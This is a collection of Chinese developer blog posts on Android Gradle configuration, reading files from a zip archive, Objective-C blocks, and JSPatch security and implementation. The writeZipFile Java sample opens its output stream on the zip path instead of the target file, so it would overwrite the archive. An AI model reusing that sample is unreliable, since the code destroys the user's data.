  c. 其他情况下，handler方法的handleMessage会被调用。


 快速了解AndroidStudio的Gradle

作者：jk_v1

来源： 快速了解AndroidStudio的Gradle



                    
前言
在阅读本文章之前，期望你已经了解了这些内容：


	gradle是什么，它有哪些基本特性


	gradle task的基本概念和写法




本人使用的环境：
LUbuntu 14.04，AndroidStudio 1.3.2，其自带Gradle 2.4

Gradle Scripts

使用AndroidStudio新建一个Android项目，一直默认直到创建完成，然后点开AndroidStudio左边的Project面板，可以看到如下工程组织：


先简单粗暴的来看看这些文件是什么鬼。


	build.gradle (Project: MyApplication)
 这是Android项目根目录下的build.gradle，此文件名是一个约定名字，gradle将依赖它来构建项目。一个项目可以包括多个工程，gradle可以构建多个工程，每个工程子目录都可以有build.gradle文件，如同make构建工具与Makefile文件的关系。我们做的大部分工作，也就是编写和组织build.gradle文件。


	build.gradle (Module: app)
 这是Android项目根目录/app/build.gradle，app是一个gradle工程，这里的build.gradle文件就是用来描述如何构建app工程，gradle可以支持构建多个工程，并设置工程之间的依赖关系。


	gradle-wrapper.properties
 Gradle Wrapper 是Android对gradle的使用进行一些必要的封装而成的脚本——gradlew（位于项目根目录下，用于命令行使用，在集成环境中非常有用），它会自动检测当前项目指定的gradle版本是否存在，如果不存在则自己下载（保存在~/.gradle/wrapper/）。所以每一个Android项目下都有自己的gradle软件包，官方建议把这些包也提交进源码管理系统中，这样编译此项目的系统（如持续集成服务器）不需要事先（手动）安装gradle。 gradle-wrapper.properties里的配置影响Gradle Wrapper的运作，其中distributionUrl属性指定从哪里下载gradle，当然，如果我们不想让它自己下载，可以用distributionPath指定手工下载的本地的gradle包。（进阶：具它wrapper相关的设置参见：Wrapper API）
  另外，Android默认创建了一个叫wrapper的gralde task，通过使用这个task，就可以在工程的build.gradle里面访问和修改wrapper属性。


	proguard-rules.pro
 proguard是一个用来混淆java代码的开源项目，Android项目把它集成了进来，先不管。


	
gradle.properties
 因为gradle是java程序，它将在JVM环境中运行，此文件用来指定gradle如何运行（或叫构建环境），包括：


	开启gradle的daemon并行构建模式，设置JVM内存参数，加速构建。


	可以自定义属性（key和value），这些属性可以传递给gradle的java程序，也可以被build.grade访问。









gradle提供了多种方法为构建环境添加属性:


	命令行执行gradle带\-D参数，\-D参数也会传递给java（这里指运行gradle的java程序）


	写在gradle.properties文件里面，而且每个子工程目录下都可以有自己的gradle.properties文件


	写在GRADLE_USER_HOME环境变量所指目录下的gradle.properties中。


	写在以ORG_GRADLE_PROJECT_开头的环境变量里。
以上方式可以同时使用，gradle按以上列出的顺序（优先级从低到高）进行分析，若属性有冲突，保留优先级高的配置。







		
设置代理。

现在此文件默认什么都没配置，先不管。






	settings.gradle
 这个文件也是gradle约定命名的，默认只有一行代码include ':app'，表示当前项目只有一个模块（我们习惯叫工程，gradle习惯叫模块），app是目录名，同时也作为工程名。当有多个工程的时候，可以在此添加。


	local.properties
 默认内容是Android SDK和NDK的配置路径，这是我之前在AndroidStudio配置过的，此文件不需要我们修改，在IDE的设置会自动覆盖此文件的设置，此文件不应该commit到源码管理系统中，因为它是个人环境的配置。




好，下面我们具体来看build.gradle文件。

根目录的build.gradle

// Top-level build file where you can add configuration options common to all sub-projects/modules.

buildscript {
    repositories {
        jcenter()
    }
    dependencies {
        classpath 'com.android.tools.build:gradle:1.3.0'

        // NOTE: Do not place your application dependencies here; they belong
        // in the individual module build.gradle files
    }
}

allprojects {
    repositories {
        jcenter()
    }
}


这是一个最顶层的gradle工程。gradle工程在gradle系统中用一个project对象)表示，它有如下一些元素：
allprojects { }
artifacts { }
buildscript { }
configurations { }
dependencies { }
repositories { }
sourceSets { }
subprojects { }
publishing { }
下面我们只对相关的进行探索。

Gradle Plugins
Gradle内核集成了很多插件（比如编译java代码的插件），使用插件，我们只需要做很少的工作就可以完成常规的构建任务。以.jar文件打包成的插件叫二进制插件，在使用这种插件之前，得把它添加到当前构建脚本的classpath中。 

buildscript
buildscript是gradle工程中定义的一个方法，可以传入一个语句块（有人叫闭包），这个语句块返回一个ScriptHandler对象。查看ScriptHandler对象的API得知，ScriptHandler包含两个方法：repositories和dependencies，调用dependencies设置构建时依赖什么东西，调用repositories设置这些依赖来自哪里的仓库。现在明白了，上面的代码其实就是为Android的gradle插件指定位置和版本。

allprojects
这也是gradle的特性，gradle支持在根build.gradle里使用allprojects，事先对整个构建可能包含的所有工程进行统一的配置，上面的代码就是给所有工程都配置了jcenter仓库，这样工程所依赖的第三方库在构建过程中都会被自动下载。如果多个工程（子工程）有相同的行为或属性要配置，使用这个是很方便的。

app工程下的build.gradle

apply plugin: 'com.android.application'

android {
    compileSdkVersion 21
    buildToolsVersion "22.0.1"

    defaultConfig {
        applicationId "example.jk.myapplication"
        minSdkVersion 19
        targetSdkVersion 21
        versionCode 1
        versionName "1.0"
    }
    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
        }
    }
}

dependencies {
    compile fileTree(dir: 'libs', include: ['*.jar'])
    compile 'com.android.support:appcompat-v7:22.2.0'
}


apply plugin
apply plugin: 'com.android.application'应用Android的gradle插件到当前构建脚本，此插件其实继承自gradle的application插件，使用application插件，可以通过添加task来运行或把Java项目构建为基于命令行的程序。
Android gradle插件具有application插件的功能，同时会应用java插件和distribution插件，后两个插件用来自动化编译和发布java程序的。

android
这个Android gradle插件提供的元素，用于配置android相关的构建选项，包括：


	compileSdkVersion 指定构建时使用的Android SDK版本


	buildToolsVersion 指定构建工具的版本，构建工具可以使用Android SDK Manager来安装，可以安装多个版本，如图：





官方建议这里指定的构建工具的版本最好大于等于目标SDK版本（targetSdkVersion）。



defaultConfig元素里的配置对应AndroidManifest.xml文件，优先级比AndroidManifest.xml文件里的配置高。gradle支持对一个项目构建多种版本，比如试用版 、商业版，每个版本可以有自己的defaultConfig。

buildTypes元素默认定义了debug和release两种构建，debug构建出来的APK将包含调试符号，并且以debug key进行签名，而release类型的默认是没有签名的。minifyEnabled为true表示启用自动清除无用代码，用于软件包瘦身。proguardFiles指定了代码混淆使用的相关文件。

工程依赖

dependencies {
    compile fileTree(dir: 'libs', include: ['*.jar'])
    compile 'com.android.support:appcompat-v7:22.2.0'
}

这里的dependencies是gradle工程定义的元素，指定此工程依赖什么。compile这个方法指定要添加什么来编译主程序，这些东西将最终被打包进APK中。
fileTree(dir: 'libs', include: ['*.jar'])将返回一个文件树对象，这些文件位于app/libs目录，并以.jar结尾。

整句代码的意思就是把当前工程目录的libs目录下所有jar文件加入编译时classpath中，并打包进APK。这是本地二进制库依赖的写法。
而compile 'com.android.support:appcompat-v7:22.2.0'表示依赖位于仓库中的appcompat库及其版本，位于Android Support Library中，如果本地没有安装Android Support Library，使用Android SDK Manager进行下载。（进阶：当然，还可以指定依赖其它工程，以及除compile外的其它依赖类型，具体见《依赖管理介绍》）

至此，我们已经大概了解了AndroidStudio默认工程有关gradle的脚本。其实AndroidStudio IDE提供了很多设置，这些设置修改后，AndroidStudio会自动更新相关的build.gradle和*.properties文件。如果我们手工编辑build.gradle文件，AndroidStudio将提示我们进行sync（同步）操作，以便这些配置反映到IDE界面上。

参考链接：


	《Gradle Plugin User Guide》http://tools.android.com/tech-docs/new-build-system/user-guide


	《Gradle User Guide》https://docs.gradle.org/current/userguide/userguide_single.html


	《Build configuration Basics》https://developer.android.com/tools/building/configuring-gradle.html


	《project对象》https://docs.gradle.org/current/dsl/org.gradle.api.Project.html#org.gradle.api.Project:dependencies(groovy.lang.Closure))





 不解压直接读取压缩包中的文件

作者：ZapperBot

来源： 不解压直接读取压缩包中的文件



                    

  最近做的一个Android项目中，需要将一个有20W份html文件的压缩包下载到本地，解压后在本地浏览；在解压的时候尝试了很多方法都无法完成解压（文件数量太大，要么解压超慢要么就内存溢出程序崩溃），后来放弃解压，直接从压缩包中读取文件，下面将方法整理如下







	
通过ZipFile.getEntry(“文件名”)方法获取来获取压缩包中的指定文件对象


public static void readZipFile(String file,String fileName) throws Exception {  
    ZipFile zf = new ZipFile(file);
    ZipEntry ze = zf.getEntry(fileName);
    InputStream in = zf.getInputStream(ze);
    BufferedReader br = new BufferedReader(new InputStreamReader(in));
    String line;
    StringBuffer result = new StringBuffer();
    while ((line = br.readLine()) != null) {  
        result.append(line+"\n");
    }
    System.out.println(result);
}



在上面的方法中，只要指定压缩包路径（file）以及压缩包中指定的文件名称（fileName），就可以读取到该html文件中的内容；



	
接下来我们对上面的方法进行改造，将指定文件从压缩包中读取出来并写入到指定的目录下，以便于在Android项目中进行查看


/**
  * 
  * @param file 压缩包路径
  * @param saveRootDirectory 写入文件夹路径
  * @param fileName 文件名
  * @throws FileNotFoundException
  * @throws IOException
  */
public static void writeZipFile(String file,String saveRootDirectory,String fileName) throws FileNotFoundException, IOException {
    int len = 0;
    ZipFile zf = new ZipFile(file);
    ZipEntry ze = zf.getEntry(fileName);
    InputStream read = zf.getInputStream(ze);
    File writeFile = new File(saveRootDirectory + fileName);
    if (!writeFile.exists()) {  
        File rootDirectoryFile = new File(saveRootDirectory);  
        //创建目录  
        if (!rootDirectoryFile.exists()) {  
            rootDirectoryFile.mkdirs();  
        } 
        //创建文件  
        writeFile.createNewFile();

        BufferedOutputStream write = new BufferedOutputStream(new FileOutputStream(file));
        //写入文件内容
        while ((len = read.read()) != -1) {
            write.write(len);
        }
        write.flush();  
        write.close();  
    }
    read.close();  
}



调用writeZipFile方法，将指定的文件（fileName）从压缩包（file）中读取出来后并写入到指定的文件夹（saveRootDirectory）下，通过WebView.loadUrl("file:///saveRootDirectory/fileName")实现html文件的查看，通过这种方式，我们避免了在移动端解压大文件时长时间的等待、甚至是导致程序崩溃这种不好的用户体验，需要查看某个文件从压缩包中读取即可。
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 iOS 如何使用 Block

作者：Richard_Gao

来源： iOS 如何使用 Block



                    
什么是 block

Blocks 是 iOS 4.0 之后有的新功能。
Block 能够让我们的代码变得更简单，能够减少代码量，降低对于 delegate 的依赖，还能够提高代码的可读性。

本质上来说，一个 Block 就是一段能够在将来被执行的代码。本身 Block 就是一个普通的 Objective-C 对象。正因为它是对象，Block 可以被作为参数传递，可以作为返回值从一个方法返回，可以用来给变量赋值。
在其他语言（Python, Ruby, Lisp etc.）中，Block 被叫做闭包——因为他们在被声明的时候的封装状态。Block 为指向它内部的局部变量创造了一个常量 copy。

在 Block 之前，如果我们想要调用一段代码，然后之后一段时间，让它给我们返回，我们一般会使用 delegate 或者 NSNotification。这样的写法没什么问题，但是使用过 delegate 和 NSNotification 大家就应该会感觉到——我们会不可避免的将代码写的到处都是，我们需要在某处开始一个任务，在另外一个地方来处理这个返回结果。使用 Block 就可以在一定程度上避免这个问题。

如何使用 Block

下面这张图片来自苹果官方文档：


Block 的声明格式如下：

return_type (^block_name)(param_type, param_type, ...

^ 符号其实就是专门用来表示：我们在声明一个 Block。
声明举例：

int (^add)(int,int)

block 的定义格式如下：

^return_type(param_type param_name, param_type param_name, ...) { ... return return_type; }

要注意，定义和声明的格式有一些不同。定义以 ^ 开始，后面跟着参数（参数在这里一定要命名），顺序和类型一定要和声明中的顺序一样。定义时，返回值类型是 optional 的，我们可以在后面的代码中确定返回值类型。如果有多个返回 statement，他们也只能有一个返回值类型，或者把他们转成同一个类型。
block 的定义举例：

^(int number1, int number2){ return number1+number2 }

我们把声明和定义放在一起：

int (^add)(int,int) = ^(int number1, int number2){ 
                            return number1+number2;
}
 

调用的时候：

int resultFromBlock = add(2,2);

我们将使用 block 与不使用 block 做一些对比

举例 ：NSArray
普通 for 循环：

BOOL stop;
for (int i = 0 ; i < [theArray count] ; i++) {
    NSLog(@"The object at index %d is %@",i,[theArray objectAtIndex:i]);
    if (stop)
        break;
}

这个 BOOL stop 现在看上去有点奇怪，但看到后面 block 实现就能理解了

快速迭代：

BOOL stop;
int idx = 0;
for (id obj in theArray) {
    NSLog(@"The object at index %d is %@",idx,obj);
    if (stop)
        break;
    idx++;
}


使用 block ：

[theArray enumerateObjectsUsingBlock:^(id obj, NSUInteger idx, BOOL *stop){
    NSLog(@"The object at index %d is %@",idx,obj);
}];


在上面的代码中， BOOL stop 设置为 YES 的时候，可以从block 内部停止下一步运行。
从上面三段代码的对比中，我们可以至少可以看出 block 两方面的优势：


	简化了代码

	提高了速度



举例：UIview Animation

非 Block 实现

-(void)removeAnimationView:(id)sender {
    [animatingView removeFromSuperview];
}
 
-(void)viewDidAppear:(BOOL)animated{
    [super viewDidAppear:animated];
 
    [UIView beginAnimations:@"Example" context:nil];
    [UIView setAnimationDuration:5.0];
    [UIView setAnimationDidStopSelector:@selector(removeAnimationView)];
    [animatingView setAlpha:0];
    [animatingView setCenter:CGPointMake(animatingView.center.x+50.0, 
                                         animatingView.center.y+50.0)];
    [UIView commitAnimations];
}



block 实现

-(void)viewDidAppear:(BOOL)animated{
    [super viewDidAppear:animated];
 
    [UIView animateWithDuration:5.0 
                     animations:^{
                        [animatingView setAlpha:0];
                        [animatingView setCenter:CGPointMake(animatingView.center.x+50.0, 
                                                             animatingView.center.y+50.0)];
                     } 
                     completion:^(BOOL finished) {
                         [animatingView removeFromSuperview];
                     }];
}

同样我们可以看出 block 的优势：简化了代码

让代码保持在一起，不需要在一个地方开始动画，在另一个地方回调。读写起来都比较方便。
苹果也建议这么做，不然苹果用 block 重写以前的代码干嘛呢~

block 的应用

1. enumerateObjectsUsingBlock

之前的代码实例中已经提到过，用来迭代数组十分方便，具体看下面的代码实例：

-(NSArray*)retrieveInventoryItems {
    // 1 - 声明
    NSMutableArray* inventory = [NSMutableArray new];
    NSError* err = nil;
    // 2 - 得到 inventory 数据
    NSArray* jsonInventory = [NSJSONSerialization JSONObjectWithData:[NSData dataWithContentsOfURL:[NSURL URLWithString:kInventoryAddress]] 
                                                         options:kNilOptions 
                                                           error:&err];
    // 3 - 使用 block 遍历
    [jsonInventory enumerateObjectsUsingBlock:^(id obj, NSUInteger idx, BOOL *stop) {
        NSDictionary* item = obj;
        [inventory addObject:[[IODItem alloc] initWithName:[item objectForKey:@"Name"] 
                                                  andPrice:[[item objectForKey:@"Price"] floatValue]
                                            andPictureFile:[item objectForKey:@"Image"]]];
    }];
    // 4 - 返回一个 inventory 的 copy
    return [inventory copy];
}
 

我们在上面的代码中 3 处使用了 block：

使用了 enumerateObjectsUsingBlock 方法，把一个普通的 NSDictionary 转化成一个 IODItem 类的对象。我们对一个JSON Array 对象发送 enumerateObjectsUsingBlock 消息，迭代这个 array，得到 item 字典，然后用这个字典得到 IODItem，最后把这些对象添加到 inventory 数组然后返回。

2.sortedArrayUsingComparator

enumerateObjectsUsingBlock我们上面已经用过，主要来看 sortedArrayUsingComparator ，这个 block 以一个升序返回一个 array，这个升序由一个 NSComparator block 决定

注意：compare 方法的使用有点没太明白，但是根据 sortedArrayUsingComparator 是返回一个升序数组，所以compare 方法应该是返回两者之间更大的？？

-(NSString*)orderDescription {
        // 1 - 声明
    NSMutableString* orderDescription = [NSMutableString new];
        // 2 - 使用 block 进行排序
    NSArray* keys = [[self.orderItems allKeys] sortedArrayUsingComparator:^NSComparisonResult(id obj1, id obj2) {
        IODItem* item1 = (IODItem*)obj1;
        IODItem* item2 = (IODItem*)obj2;
        return [item1.name compare:item2.name];
    }];
        // 3 - 使用 block 遍历
    [keys enumerateObjectsUsingBlock:^(id obj, NSUInteger idx, BOOL *stop) {
        IODItem* item = (IODItem*)obj;
        NSNumber* quantity = (NSNumber*)[self.orderItems objectForKey:item];
        [orderDescription appendFormat:@"%@ x%@\n", item.name, quantity];
    }];
        // 4 - 返回
    return [orderDescription copy];
}

注释2：得到一个包含 dictionary 中所有 key 的数组，然后使用 sortedArrayUsingComparator 这个 block 方法，把这些所有的 key 按升序进行排序。

3.enumerateKeysAndObjectsUsingBlock

这个方法苹果的官方说明：将一个 block 对象使用在一个字典的 entries 上（Apply an given block object to the entries of dictionary），我们来看一段实例代码：

-(float)totalOrder {
        // 1 - 定义
    __block float total = 0.0;
        // 2 - 使用 block 计算
    float (^itemTotal)(float,int) = ^float(float price, int quantity) {
        return price * quantity;
    };
        // 3 - 使用 block 遍历 dictionary
    [self.orderItems enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
        IODItem* item = (IODItem*)key;
        NSNumber* quantity = (NSNumber*)obj;
        int intQuantity = [quantity intValue];
        total += itemTotal(item.price, intQuantity);
    }];
        // 4 - 返回
    return total;
}

注释1：需要注意的是 block，因为我们需要在 block 内部使用这个 total 变量；如果我们不使用 block 关键字，下面的 block 会创建一个这个 total 变量的常量拷贝（const copy），当指向 block 内部的时候，就使用这个拷贝。这意味着在 block 我们无法修改它的值。但添加了这个关键字我们就可以从 block 内部读取变量的值，或者把值写入 block 内的变量。

注释3：使用 enumerateKeysAndObjectsUsingBlock 可以遍历得到字典里所有的对象，以及它们对应的 key。

总结一些比较常用的 block

NSArray


	enumerateObjectsUsingBlock 这个是我最常使用的 block ，上面已经介绍过了，用来迭代数组非常方便，个人认为这应该是最好用的 block 了。

	enumerateObjectsAtIndexes:usingBlock: 和 enumerateObjectsUsingBlock 差不多，但是我们可以选择只迭代数组的一部分，而不是迭代整个数组。这个需要迭代的范围由 indexSet 参数传入。

	indexesOfObjectsPassingTest  返回一个数组中，通过了特定的 test 的对象的 indexSet。用这个 block 来查找特定的数据很方便。



NSDictionary


	enumerateKeysAndObjectsUsingBlock 迭代整个字典，返回字典中所有的 key 和对应的值（如果是想用这个 block 来代替 objectForKey 方法，确实有些多此一举,但是如果你需要返回字典中全部的 key, value，这个 block 是一个很好的选择）。

	keysOfEntriesPassingTest  和数组里的 indexesOfObjectsPassingTest   block 类似，返回通过特定的 test 的一组对象的 key。



UIView Animation

animateWithDuration: animation: completion: 写过动画大家应该还是比较了解的，动画的 block 实现确实比非 block 实现简单、方便了很多。

GCD

dispatch async：这时异步 GCD 的主要功能，在这里其实最重要的是要理解 block 是一个普通的对象，是可以作为参数传递给 dispatch queue 的。

使用我们自己的 block

除了使用这些系统提供给我们的 block，我们有时候自己写的方法里也许也想要用到 block。我们来看一些简单的示例代码，这段代码声明了一个接收 block 作为参数的方法：

-(void)doMathWithBlock:(int (^)(int, int))mathBlock {
    self.label.text = [NSString stringWithFormat:@"%d", mathBlock(3, 5)];
}
 
// 如何调用
-(IBAction)buttonTapped:(id)sender {
    [self doMathWithBlock:^(int a, int b) {
        return a + b;
    }];
}

因为 block 就是一个 Objective-C 对象，所以我们可以把 block 存储在一个 property 中以便之后调用。这种方式在处理异步任务的时候特别有用，我们可以在一个异步任务完成之后存储一个 block，之后可以调用。下面是一段示例代码：

@property (strong) int (^mathBlock)(int, int);

// 存储 block 以便之后调用
-(void)doMathWithBlock:(int (^)(int, int))mathBlock {
    self.mathBlock = mathBlock;
}
 
// 调用上面的方法，并传入一个 block
-(IBAction)buttonTapped:(id)sender {
    [self doMathWithBlock:^(int a, int b) {
        return a + b;
    }];
}

 
// 结果
-(IBAction)button2Tapped:(id)sender {
    self.label.text = [NSString stringWithFormat:@"%d", self.mathBlock(3, 5)];
}

还有，我们可以使用 typedef 来简化block 语法，当然效果和上面的是差不多的，我们来看下面的例子：

typedef int (^MathBlock)(int, int);
 
// 使用 tpyedef 声明一个property
@property (strong) MathBlock mathBlock;
 
-(void)doMathWithBlock:(MathBlock) mathBlock {
    self.mathBlock = mathBlock;
}
 
-(IBAction)buttonTapped:(id)sender {
    [self doMathWithBlock:^(int a, int b) {
        return a + b;
    }];
}
 
-(IBAction)button2Tapped:(id)sender {
    self.label.text = [NSString stringWithFormat:@"%d", self.mathBlock(3, 5)];
}

参考链接
Bingo !

关于 block 的使用说的差不多了，其实关于 block 最关键的是要理解，block 是可以作为参数和返回值使用得。接下来会总结一篇关于 GCD 的文章。
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使用 JSPatch 有两个安全问题：


	传输安全：JS 脚本可以调用任意 OC 方法，权限非常大，若被中间人攻击替换代码，会造成较大的危害。


	执行安全：下发的 JS 脚本灵活度大，相当于一次小型更新，若未进行充分测试，可能会出现 crash 等情况对 APP 稳定性造成影响。




接下来说下这两个问题的解决方案。

传输安全

方案一：对称加密

若要让 JS 代码传输过程中不轻易被中间人截获替换，很容易想到的方式就是对代码进行加密，可以用 zip 的加密压缩，也可以用 AES 等加密算法。这个方案的优点是非常简单，缺点是安全性低，容易被破解。因为密钥是要保存在客户端的，只要客户端被人拿去反编译，把密码字段找出来，就完成破解了。

对此也有一些改进方案，例如：

1.可以把密码保存到 keychain 上，但这种方式也是不可靠的，只要随便找一台机器越狱装了这个 APP，用 hook 的方式在 APP 上添加一些代码，获得 keychain 里的密钥值，就可以用于其他所有机器的传输解密了。

2.给每个用户下发不同的密钥。但这样就非常繁琐，需要对下发密钥的请求做好保护，后台需要每次都对脚本进行不同密钥的加密操作，复杂性高了。

综上，对称加密安全性低，若要稍微提高点安全性，就会提升程序复杂度。

方案二：HTTPS

第二个方案是直接使用 HTTPS 传输，优点是安全性高，只要使用正确，证书在服务端未泄露，就不会被破解。缺点是部署麻烦，需要使用者服务器支持 HTTPS，门槛较高。另外客户端需要做好 HTTPS 的证书验证（有些使用者可能会漏掉这个验证，导致安全性大降），具体的认证方式可见网上一些文章，例如这篇。如果服务器本来就支持 HTTPS，使用这种方案也是一种不错的选择。

方案三：RSA 校验

有没有安全性高，部署简单，门槛低的方案？RSA 校验就是。

这种方式其实原理跟 HTTPS 是一样的，同样使用非对称加密，只是简化了，把非对称加密只用于校验文件，而不解决传输过程中数据内容泄露的问题，而我们的目的只是防止传输过程中数据被篡改，对于数据内容泄露并不是太在意。整个校验过程如下：




	服务端计算出脚本文件的 MD5 值，作为这个文件的数字签名。


	服务端通过私钥加密第 1 步算出的 MD5 值，得到一个加密后的 MD5 值。


	把脚本文件和加密后的 MD5 值一起下发给客户端。


	客户端拿到加密后的 MD5 值，通过保存在客户端的公钥解密。


	客户端计算脚本文件的 MD5 值。


	对比第 4/5 步的两个 MD5 值（分别是客户端和服务端计算出来的 MD5 值），若相等则通过校验。




只要通过校验，就能确保脚本在传输的过程中没有被篡改，因为第三方若要篡改脚本文件，必须计算出新的脚本文件 MD5 并用私钥加密，客户端公钥才能解密出这个 MD5 值，而在服务端未泄露的情况下第三方是拿不到私钥的。

这种方案安全性跟 HTTPS 一致，但不像 HTTPS 一样部署麻烦，一套代码即可通用。对于它的缺点：数据内容泄露，其实在传输过程中不泄露，保存在本地同样会泄露，若对此在意，可以对脚本文件再加一层简单的对称加密。这个方案优点多缺点少，推荐使用，目前 JSPatch平台 就是使用这个方案。

最后有个小问题，保存在客户端的代码也可能被人篡改，需不需要采取措施？这个要看各人需求了，因为这个安全问题不大，能篡改本地文件，差不多已经有手机所有权限了，这时也无所谓脚本会不会被篡改了。若有需要，可以加个简单的对称加密。

执行安全

对于中大型 APP，下发 JS 脚本需要谨慎，有可能因为疏忽下发了有问题的代码，导致大量 APP crash，或一些其他异常情况，需要有一些机制避免这种情况。若要做得完整，可以分为：事发前(灰度)，事发中(监控)，事发后(回退)。

灰度

首先需要在事发前把出现问题的影响面降到最低，对于中大型 APP，不能一次把脚本下发给所有用户，需要有灰度机制，也就是一开始只下发给其中一部分用户，看看会不会出现异常情况，再逐步覆盖到所有用户。有条件的话灰度的用户最好按机型/系统/地域等属性随机分配，尽量让最少的人覆盖到大部分情况。

监控

接着是事发了我们需要知道脚本有问题，需要对 APP 有一些监控机制，像 crash 监控，这个一般所有 APP 都有接入，再按需求自行加入其他监控指标。

回退

最后是事发后回退代码。一般为了避免不可预料的情况出现，JSPatch 脚本建议在启动时执行，APP 运行过程中不去除，所以这个回退建议的实现方式是后台下发命令，让 APP 在下次启动时不执行 JSPatch 脚本即可。

但这里能回退的前提是 APP 可以接收到后台下发的回退命令，若因为下发的脚本导致 APP 启动即时 crash，这个回退命令也会接收不到。所以建议再加一层防启动 crash 的机制，APP 在连续启动即 crash 后，下次启动不再执行脚本文件。

灰度和监控中小型 APP 可以考虑不用，回退机制是每个使用 JSPatch 都建议加上的。目前 JSPatch平台 实现了上述回退方案。
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距离上次写的 JSPatch实现原理详解 有一个月的时间，在这段时间里 JSPatch 在不断地完善和改进，代码已经有很多变化，有一些修改值得写一下，作为上一篇的补充。

Special Struct

先说下 _objc_msgForward，在上一篇提到为了让替换的方法走 forwardInvocation，把它指向一个不存在的 IMP: class_getMethodImplementation(cls, @selector(__JPNONImplementSelector))，实际上这样实现是多余的，若 class_getMethodImplementation 找不到 class / selector 对应的 IMP，会返回 _objc_msgForward 这个 IMP，所以更直接的方式是把要替换的方法都指向 _objc_msgForward，省去查找方法的时间。

接着出现另一个问题，如果替换方法的返回值是某些 struct，使用 _objc_msgForward（或者之前的 @selector(__JPNONImplementSelector)）会 crash。几经辗转，找到了解决方法：对于某些架构某些 struct，必须使用 _objc_msgForward_stret 代替 _objc_msgForward。为什么要用 _objc_msgForward_stret 呢，找到一篇说明  objc_msgSend_stret 和 objc_msgSend 区别的文章），说得比较清楚，原理是一样的，是C的一些底层机制的原因，简单复述一下：

大多数CPU在执行C函数时会把前几个参数放进寄存器里，对 obj_msgSend 来说前两个参数固定是 self / _cmd，它们会放在寄存器上，在最后执行完后返回值也会保存在寄存器上，取这个寄存器的值就是返回值：

-(int) method:(id)arg;
    r3 = self
    r4 = _cmd, @selector(method:)
    r5 = arg
    (on exit) r3 = returned int

普通的返回值(int/pointer)很小，放在寄存器上没问题，但有些 struct 是很大的，寄存器放不下，所以要用另一种方式，在一开始申请一段内存，把指针保存在寄存器上，返回值往这个指针指向的内存写数据，所以寄存器要腾出一个位置放这个指针，self / _cmd 在寄存器的位置就变了：

 -(struct st) method:(id)arg;
    r3 = &struct_var (in caller's stack frame)
    r4 = self
    r5 = _cmd, @selector(method:)
    r6 = arg
    (on exit) return value written into struct_var

objc_msgSend 不知道 self / _cmd 的位置变了，所以要用另一个方法 objc_msgSend_stret 代替。原理大概就是这样。

上面说某些架构某些 struct 有问题，那具体是哪些呢？iOS 架构中非 arm64 的都有这问题，而怎样的 struct 需要走上述流程用 xxx_stret 代替原方法则没有明确的规则，OC 也没有提供接口，只有在一个奇葩的接口上透露了这个天机，于是有这样一个神奇的判断：

if ([methodSignature.debugDescription rangeOfString:@"is special struct return? YES"].location != NSNotFound)

在 NSMethodSignature 的 debugDescription 上打出了是否 special struct，只能通过这字符串判断。所以最终的处理是，在非 arm64 下，是 special struct 就走 _objc_msgForward_stret，否则走 _objc_msgForward。

内存泄露

先说下上一篇文章留下的一个问题，在从 NSInvocation 取返回值时，为什么这样取参数会 crash：

id arg;
[invocation getReturnValue:&arg];

这是因为 &arg 传入 -getArgument:atIndex: 方法后 arg 就指向了返回对象，但并不持有它，不会对返回对象引用+1，但因为  id arg 在ARC下相当于 __strong id arg，arg 是 strong 类型局部变量，所以退出作用域时会调用一次 release，不持有对象又对对象调 release，会导致对象多 release 了一次，所以 crash。只要把 arg 类型改成 __unsafe_unretained，表明只是指向对象但不持有它，退出作用域时不 release 就没问题了：

__unsafe_unretained id arg;
[invocation getReturnValue:&arg];

还可以通过 __bridge 转换让局部变量持有返回对象，这样做也是没问题的：

id returnValue;
void *result;
[invocation getReturnValue:&result];
returnValue = (__bridge id)result;

double release 的问题解决了，但这里还有个大坑：内存泄露。某天 github issue 上有人提对象生成后没有释放，几经排查，定位到还是这里 NSInvocation getReturnValue 的问题，当 NSInvocation 调用的是 alloc 时，返回的对象并不会释放，造成内存泄露，只有把返回对象的内存管理权移交出来，让外部对象帮它释放才行：

id returnValue;
void *result;
[invocation getReturnValue:&result];
if ([selectorName isEqualToString:@"alloc"] || [selectorName isEqualToString:@"new"]) {
    returnValue = (__bridge_transfer id)result;
} else {
    returnValue = (__bridge id)result;
}

这里想不明白为什么，从开源 Cocotron 里对 NSInvocation 的实现来看，NSInvocation 并不持有返回的对象，调用方法也是直接用 msgSend，没什么特别的地方，让人怀疑这是 ARC 的 bug。

‘_’的处理

JSPatch 用下划线’_’连接OC方法多个参数间的间隔：

- (void)setObject:(id)anObject forKey:(id)aKey;
<==>
setObject_forKey()

那如果OC方法名里含有’_’，那就出现歧义了：

- (void)set_object:(id)anObject forKey:(id)aKey;
<==>
set_object_forKey()

没法知道 set_object_forKey 对应的 selector 是 set_object:forKey: 还是 set:object:forKey:。

对此需要定个规则，在 JS 用其他字符代替 OC 方法名里的 _。JS 命名规则除了字母和数字，就只有 $ 和 _，看起来只能用 $ 代替了，但效果很丑：

- (void)set_object:(id)anObject forKey:(id)aKey;
- (void)_privateMethod();
<==>
set$object_forKey()
$privateMethod()

于是尝试另一种方法，用两个下划线 __ 代替：

set__object_forKey()
__privateMethod()

但用两个下划线代替有个问题，OC 方法名参数后面加下划线会匹配不到

- (void)setObject_:(id)anObject forKey:(id)aKey;
<==>
setObject___forKey()

实际上 setObject___forKey() 匹配到对应的 selector 是 setObject:_forKey:。虽然有这个坑，但因为很少见到这种奇葩的命名方式，感觉问题不大，使用$也会导致替换不了 OC 方法名包含 $ 字符的，最终为了代码颜值，使用了双下划线 __ 表示。

JPBoxing

在使用 JSPatch 过程中发现JS无法调用 NSMutableArray / NSMutableDictionary / NSMutableString 的方法去修改这些对象的数据，因为这三者都在从 OC 返回到 JS 时 JavaScriptCore 把它们转成了 JS 的 Array / Object / String，在返回的时候就脱离了跟原对象的联系，这个转换在 JavaScriptCore 里是强制进行的，无法选择。

若想要在对象返回 JS 后，回到 OC 还能调用这个对象的方法，就要阻止 JavaScriptCore 的转换，唯一的方法就是不直接返回这个对象，而是对这个对象进行封装，JPBoxing 就是做这个事情的：

@interface JPBoxing : NSObject
@property (nonatomic) id obj;
@end

@implementation JPBoxing
+ (instancetype)boxObj:(id)obj
{
   JPBoxing *boxing = [[JPBoxing alloc] init];
    boxing.obj = obj; 
    return boxing;
}

